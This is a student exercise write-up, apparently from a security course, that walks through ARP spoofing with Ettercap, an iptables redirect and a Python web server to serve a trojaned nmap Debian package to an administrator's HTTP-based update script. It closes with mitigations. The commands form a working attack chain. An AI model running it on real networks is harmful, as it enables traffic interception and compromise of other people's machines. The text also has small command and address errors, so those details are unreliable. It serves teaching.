Exercise 3:
Spoofing

Contents

1 Tasks

1.1 Spoofing

After downloading the **updatesh.sec** script, we notice that out of the five URLs that the script uses, it has one URL that uses HTTP - the *nmap* package (Listing 1, line 6). A quick check on the **ftp.fau.de** website proves that the server supports both HTTP and HTTPS.

Another interesting thing is the *-4* flag used by *wget* (Listing 1, line 13). As explained by *wget*'s manpages: *With –inet4-only or -4, Wget will only connect to IPv4 hosts, ignoring AAAA records in DNS, and refusing to connect to IPv6 addresses specified in URLs.* This is crucial, because if the *-4* flag was not specified, *wget* would first try to connect **ftp.fau.de** by using its IPv6 address, thus preventing us to execute our attack.

```
1  #!/bin/bash
2
3  apps=(
4      "https://ftp.fau.de/ubuntu/pool/universe/p/python3.9/python3.9_3.9.5-3~20.04.1
       _amd64.deb"
5      "https://ftp.fau.de/ubuntu/pool/main/h/htop/htop_2.2.0-2build1_amd64.deb"
6      "http://ftp.fau.de/ubuntu/pool/universe/n/nmap/nmap_7.80+dfsg1-2build1_amd64.
       deb"
7      "https://ftp.fau.de/ubuntu/pool/universe/t/trash-cli/trash-cli_0.17.1.14-2
       ubuntu1_all.deb"
8      "https://ftp.fau.de/ubuntu/pool/universe/v/vim/vim-gtk_8.1.2269-1ubuntu5.3_all
       .deb"
9  )
10
11 for app in "${apps[@]}" ; do
12     # download package
13     wget -4 "$app" -q -O /tmp/package.deb
14     # install package
15     sudo dpkg -i /tmp/package.deb &>/dev/null
16 done
```

Listing 1: updatesh.sec

1.1.1 Creating a Debian Package

In order to create a new *nmap* debian package, we can navigate to http://ftp.fau.de/ubuntu/pool/universe/n/nmap and download both the **nmap_7.80+dfsg1-2build1.debian.tar.xz** and the **nmap_7.80+dfsg1.orig.tar.xz** archives. After extracting both archives, we can open the **nmap_7.80+dfsg1-2build1.debian** directory, copy the folder named **debian** and paste it into the **nmap_7.80+dfsg1.orig/nmap-7.80** directory (where the **main.cc** file is located).

We can now open the **main.cc** file and find the beginning of the main function. Here, we can put anything that we want to be executed when *nmap* is called.

The second task of this exercise states that the system administrator calls nmap as a sudo user and that we should create a **hacked.txt** file in the **/root** directory. Therefore, we can insert one line of code immediately after the start of the main function. The beginning of the main function will now look like this:

```
1  int main(int argc, char *argv[]) {
2      FILE *fOut = fopen("/root/hacked.txt", "w+");
3
4      /* The "real" main is nmap_main(). This function hijacks control at the
```

```
5     ...
```

Listing 2: main.cc

Inside the directory where the **main.cc** function is located, we can now execute the following command in order to build a new debian package [1]:

```
1 sudo debuild -b -uc -us
```

Listing 3: Build a new *nmap* package

After the build is complete, a new debian package will be created in the parent directory of the directory where **main.cc** is located, namely **nmap_7.80+dfsg1.orig**. There will be a couple of packages, but the one we need will be named **nmap_7.80+dfsg1-2build1_amd64.deb**.

1.1.2 Redirecting and Serving HTTP Traffic

We now have a spoofed *nmap* package. The next thing we now need is redirect and serve the HTTP traffic.

In order to redirect the HTTP traffic, we can execute the following command:

```
1 sudo iptables -t nat -I PREROUTING -d 131.188.12.211 -p tcp --dport 80 -j REDIRECT
      --sport 1337
```

Listing 4: Redirect HTTP traffic

This will redirect all HTTP packets intended for 131.18.12.211 (**ftp.fau.de**) to localhost on port 1337. We can now create a new directory named **ftp.fau.de** with the following structure:

ftp.fau.de/ubuntu/pool/universe/n/nmap

We can do this by executing this simple command:

```
1 mkdir -p ftp.fau.de/ubuntu/pool/universe/n/nmap
```

Listing 5: Create nested directories

We can then move the spoofed debian package that we previously created inside the last directory of it and have the following structure:

ftp.fau.de/ubuntu/pool/universe/n/nmap/nmap_7.80+dfsg1-2build1_amd64.deb

With the redirection and the spoofed debian package in place, we can change our working directory inside the parent of the **ftp.fau.de** folder and serve the HTTP requests:

```
1 python3 -m http.server -d ftp.fau.de 1337
```

Listing 6: Spawn a HTTP server

1.1.3 ARP Spoofing

Because the exercise description forbids the use of *DNS Spoofing*, we can use *ARP Spoofing* in order to trick the system administrator that we are the default gateway, i.e. the router. In this way, all traffic will flow through us, thus enabling us to manipulate the packets and perform a *Man-in-the-Middle* attack.

First thing first, if we want to act as a router, we must enable IP forwarding. In order to do that, we can execute the following command:

```
sudo sysctl -w net.ipv4.ip_forward=1
```

Listing 7: Enable IP forwarding

Next, in order to poison the ARP table, we can use *Ettercap*. We can either poison all users on the network into thinking that we are the default gateway or if we know the IP address of the system administrator, we can poison only him. If we suppose that our primary network interface is called **eth0** and that we know the IP address of the system administrator, the command will look like this

```
sudo ettercap -Tq -i eth0 -M arp //10.0.24.2/ //10.0.24.1/
```

Listing 8: ARP poison the system administrator

where **10.0.24.2** is the IP address of the system administrator and **10.0.24.1** is the IP address of the router.

1.1.4 Exploitation

The system administrator is now tricked and thinks that we are the router. The next time he executes the **updatesh.sec** script, all packets that are sent will first go through us. By default, all HTTPS packets will be forwarded to their original destination (**ftp.fau.de**) and all HTTP packets will be redirected to our Python HTTP server. Thus, instead of downloading and installing the intended **nmap** package provided by **ftp.fau.de**, he will download and install the spoofed **nmap** package.

The full, working code can be found inside the file **debianspoof.sh**. In order for everything to work correctly, it should be run with **root** privileges. The file should already be labeled as executable.

```
sudo ./debianspoof
```

Listing 9: Running debianspoof.sh

1.2 Root Privileges

The *nmap* debian package created in the previous section was modified in such a way to accomodate the requirements for the second task of this exercise, i.e. on the next execution of *nmap* with root privileges, an empty file named **hacked.txt** will be created inside the **/root** directory.

1.3 Mitigation

The attack could have been mitigated by either fixing the **updatesh.sec** script and downloading the *nmap* package through HTTPS rather than HTTPS, or by setting up a static entry between the system administrator and the router [2], thus preventing us from dynamically changing and linking the IP address of the router to our MAC address.

2 Requirements

The one and only requirement is *Ettercap*, which should automatically be installed when the script **debianspoof.sh** is executed. The package will also try to install the *python3* and *iptables* packages, but they should already be installed on *Ubuntu 20.04 LTS*.

References

1. https://ostechnix.com/how-to-build-debian-packages-from-source/
2. https://www.indusface.com/blog/protect-arp-poisoning/